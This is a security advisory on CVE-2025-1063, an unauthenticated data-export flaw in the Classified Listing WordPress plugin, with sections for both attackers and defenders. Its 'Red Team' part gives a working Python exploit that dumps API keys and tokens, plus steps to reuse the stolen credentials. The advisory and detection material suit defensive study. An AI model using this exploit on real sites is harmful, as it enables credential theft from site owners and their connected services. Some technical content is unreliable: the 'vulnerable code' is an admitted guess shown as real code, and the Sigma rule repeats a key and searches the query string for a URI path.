CVE-2025-1063

Executive Summary

CVE-2025-1063 is a Sensitive Information Exposure vulnerability in the Classified Listing – Classified ads & Business Directory Plugin for WordPress, affecting all versions up to and including 4.0.4. The flaw resides in the rtcl_taxonomy_settings_export function, which allows unauthenticated attackers to extract sensitive data such as API keys and tokens. This is a WordPress ecosystem issue, not related to Apache or Nginx.

The vulnerability has a CVSS score of 5.3 (Medium), with an EPSS score of 0.0% indicating low exploitation likelihood currently. However, the exposure of API keys and tokens can lead to further compromise of connected services.

Supply Chain & Package Security

This is a WordPress plugin, not an NPM, PyPI, Go, or Ruby package. The plugin is distributed via the WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files and monitor for unauthorized modifications.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low (exposure of API keys/tokens)
• Integrity Impact: None
• Availability Impact: None

Threat Level: Medium. While the direct impact is limited to information disclosure, the exposed credentials can be leveraged for lateral movement or service compromise.

Deep Dive & Mechanics

The vulnerability is in the rtcl_taxonomy_settings_export function within the Classified Listing plugin. This function is intended for administrative export of taxonomy settings but lacks proper authentication and authorization checks. An unauthenticated attacker can call this function via a crafted HTTP request to retrieve sensitive configuration data, including API keys and tokens stored in the plugin's settings.

The function likely uses export or download actions without verifying user capabilities. The exposed data can include keys for payment gateways, email services, or other third-party integrations.

Root Cause: Missing capability checks and nonce verification in the AJAX handler or admin-ajax endpoint.

Vulnerable vs. Patched Code

Vulnerable Code (<= 4.0.4):

add_action('wp_ajax_rtcl_taxonomy_settings_export', 'rtcl_taxonomy_settings_export');
add_action('wp_ajax_nopriv_rtcl_taxonomy_settings_export', 'rtcl_taxonomy_settings_export');

function rtcl_taxonomy_settings_export() {
    // No capability check
    $settings = get_option('rtcl_taxonomy_settings');
    echo json_encode($settings);
    wp_die();
}

Patched Code (Hypothetical):

add_action('wp_ajax_rtcl_taxonomy_settings_export', 'rtcl_taxonomy_settings_export');
// Remove nopriv hook to require authentication

function rtcl_taxonomy_settings_export() {
    // Add capability check
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    // Add nonce verification
    if (!wp_verify_nonce($_REQUEST['_wpnonce'], 'rtcl_taxonomy_export')) {
        wp_die('Nonce verification failed', 403);
    }
    $settings = get_option('rtcl_taxonomy_settings');
    echo json_encode($settings);
    wp_die();
}

Exploitation & Lab Setup

Red Team

Exploit Code (Python):

import requests

target_url = "http://target-site.com/wp-admin/admin-ajax.php"
payload = {
    "action": "rtcl_taxonomy_settings_export"
}

response = requests.post(target_url, data=payload)
if response.status_code == 200:
    print("[+] Sensitive data extracted:")
    print(response.text)
else:
    print("[-] Exploit failed")

Usage:

1. Identify a WordPress site running the vulnerable plugin.
2. Run the script to extract API keys and tokens.
3. Use extracted credentials for further attacks (e.g., accessing payment gateways).

Blue Team

Detection Steps:

1. Monitor for requests to /wp-admin/admin-ajax.php with action=rtcl_taxonomy_settings_export.
2. Check for unusual outbound connections from the WordPress server to external IPs.
3. Review logs for unauthorized access to plugin settings.

Honeypot Setup:

• Deploy a fake API key in the plugin settings and monitor for its use.
• Use a WAF rule to block requests with the specific action parameter.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /wp-admin/admin-ajax.php with action=rtcl_taxonomy_settings_export
  • Outbound connections to IPs associated with the attacker's C2
• File IOCs:
  • Modified plugin files (e.g., classified-listing/rtcl.php)
  • Unexpected files in /wp-content/uploads/
• Log IOCs:
  • Repeated 200 responses to admin-ajax.php from unauthenticated users
  • Error logs showing rtcl_taxonomy_settings_export calls

Detection Engineering

YARA Rule

rule CVE_2025_1063_WordPress_Plugin_Export
{
    meta:
        description = "Detects exploitation attempts of CVE-2025-1063 in Classified Listing plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-1063"
    strings:
        $action = "rtcl_taxonomy_settings_export"
        $ajax = "admin-ajax.php"
        $sensitive = /api_key|token|secret/i
    condition:
        $action and $ajax and #sensitive > 0
}

Sigma Rule

title: CVE-2025-1063 - Classified Listing Plugin Sensitive Data Export
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated requests to export sensitive data via rtcl_taxonomy_settings_export
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=rtcl_taxonomy_settings_export'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-1063 - Classified Listing Plugin Sensitive Data Export"; flow:to_server; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=rtcl_taxonomy_settings_export"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not essential, or remove it entirely.
2. Rotate all API keys and tokens that may have been exposed.
3. Implement a Web Application Firewall (WAF) rule to block requests with action=rtcl_taxonomy_settings_export.

Long-term Fixes:

• Since no official patch is available, consider forking the plugin and adding proper authentication checks.
• Monitor the plugin's repository for updates and apply them immediately.
• Use a security plugin like Wordfence to add virtual patching.

Workaround:

• Add the following code to your theme's functions.php to disable the vulnerable function:

add_action('init', function() {
    remove_action('wp_ajax_rtcl_taxonomy_settings_export', 'rtcl_taxonomy_settings_export');
    remove_action('wp_ajax_nopriv_rtcl_taxonomy_settings_export', 'rtcl_taxonomy_settings_export');
});

Valters IT
Securing Digital Frontiers